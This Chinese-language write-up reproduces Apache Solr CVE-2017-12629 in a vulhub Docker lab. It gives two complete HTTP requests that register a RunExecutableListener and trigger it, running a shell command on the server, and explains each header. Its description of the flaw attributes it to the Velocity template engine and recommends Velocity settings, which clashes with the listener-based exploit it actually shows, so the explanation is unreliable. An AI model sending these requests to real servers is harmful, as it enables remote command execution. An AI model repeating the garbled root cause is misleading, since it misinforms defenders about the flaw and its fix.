Apache Solr是什么?
Apache Solr是一个开放源代码的企业级搜索服务器,由ApacheLucene项目开发。它提供了灵活、可扩展和高性能的全文搜索功能,可以用于网站和企业搜索应用程序。Solr支持各种查询类型、结果排序和结果分页,还提供了实时搜索、自动完成和自动完形补全等功能。Solr还支持使用Velocity模板引擎来自定义响应文档。
1. 漏洞概述
Apache Solr 是一个开放源代码的搜索服务器,用于网站和企业搜索应用程序。它主要用于全文搜索,用于存储索引和查询分析。2017年11月,远程命令执行漏洞(CVE-2017-12629)被发现影响Apache Solr软件。该漏洞是由于Solr的Velocity模板引擎中的远程代码执行(RCE)漏洞引起的。
2. 漏洞细节
Solr的Velocity模板引擎中的一个远程代码执行漏洞允许攻击者通过在Solr配置文件中提供一个恶意的Velocity模板来执行任意命令。Solr在加载恶意模板时未正确验证输入,导致攻击者可以利用该漏洞在Solr服务器上执行任意命令。
3. 影响版本
该漏洞影响Solr 5.5.5及以下版本,包括Solr 6.6.2。
4. 解决方案
为解决该漏洞,需要更新到最新版本的Solr软件,Solr 5.x的最新版本为5.5.6,Solr 6.x的最新版本为6.6.3。此外,可以限制只允许从特定IP地址访问Solr管理员界面以增加安全性。
5. 预防措施
及时更新Solr软件到最新版本。
限制只允许从特定IP地址访问Solr管理员界面。
不要使用Solr的Velocity模板引擎时使用eval函数。
配置Solr的Velocity模板引擎时使用safeMode=true参数
漏洞复现
本次复现环境:vulhub\solr\CVE-2017-12629-RCE
启动镜像:docker compose up -d
命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。
使用BurpSuite抓取数据包
修改数据包如下:
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
数据包解析
POST /solr/demo/config:这是请求的URL,表示要向Solr的demo配置中发送更新请求。
HTTP/1.1:这是请求的HTTP版本。
Host: your-ip:这是请求头中的Host字段,表示请求的主机地址是your-ip。
Accept: /:这是请求头中的Accept字段,表示客户端可以接受任何类型的内容。
Accept-Language: en:这是请求头中的Accept-Language字段,表示客户端接受英文内容。
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0):这是请求头中的User-Agent字段,表示客户端的用户代理是Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)。
Connection: close:这是请求头中的Connection字段,表示请求完成后关闭连接。
Content-Length: 158:这是请求头中的Content-Length字段,表示请求内容的长度是158字节。
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}:这是请求的内容,是一个JSON对象,包含一个元素。该元素是添加一个监听器的配置信息,具体包括以下字段:
event:表示监听的事件类型是postCommit。
name:表示监听器的名称是newlistener。
class:表示监听器的类名是solr.RunExecutableListener。
exe:表示执行的命令是sh。
dir:表示执行命令的目录是/bin/。
args:表示命令的参数是"-c"和"touch /tmp/success"。
总结:这个数据包是一个向Solr的demo配置中添加一个监听器的POST请求,监听器会在提交完成后执行命令"sh -c touch /tmp/success"。
在进行下一步触发刚才添加的listener:
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
数据包解析
URL: "/solr/demo/update",表示请求的目标是Solr服务器中的demo核心的update接口,用于更新文档。
HTTP版本: HTTP/1.1,表示使用的HTTP协议版本为1.1。
Host: "your-ip",表示请求的主机地址为"your-ip"。
Accept: "/",表示客户端可以接受任何类型的响应内容。
Accept-Language: "en",表示客户端首选英文语言的响应内容。
User-Agent: "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",表示客户端的用户代理字符串为"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",用于标识客户端的身份和能力。
Connection: "close",表示请求完成后关闭连接。
Content-Type: "application/json",表示请求的内容类型为JSON格式。
Content-Length: "15",表示请求内容的长度为15个字节。
请求内容: "[{"id":"test"}]",表示要更新的文档是一个JSON数组,其中只包含一个文档,该文档的ID为"test"。
执行`docker-compose exec solr bash`进入容器,可见`/tmp/success`已成功创建:
法律声明
声明:
请注意,本文档包含有关已知漏洞的描述和复现方法。这些信息仅用于教育和研究目的,不得用于任何未经授权的活动。
本声明如下:
本人对使用本文档中的信息所产生的任何后果概不负责。任何人使用本文档中的信息应自行承担所有风险。
本文档中的信息不得用于未经授权的任何活动,包括但不限于未经授权的攻击行为。任何使用本文档中的信息进行未经授权的活动将违反法律,并可能导致法律后果。
本文档中的信息仅为教育和研究目的而提供,并且可能包含机密和保密信息。阅读和使用本文档的信息应遵守适用的法律和法规。
请遵守道德原则并报告您发现的任何漏洞给相关方,以促进软件和系统的安全。
请注意,本文档中的信息可能已过时,因为软件和系统可能已经修复了相关漏洞。
特此声明。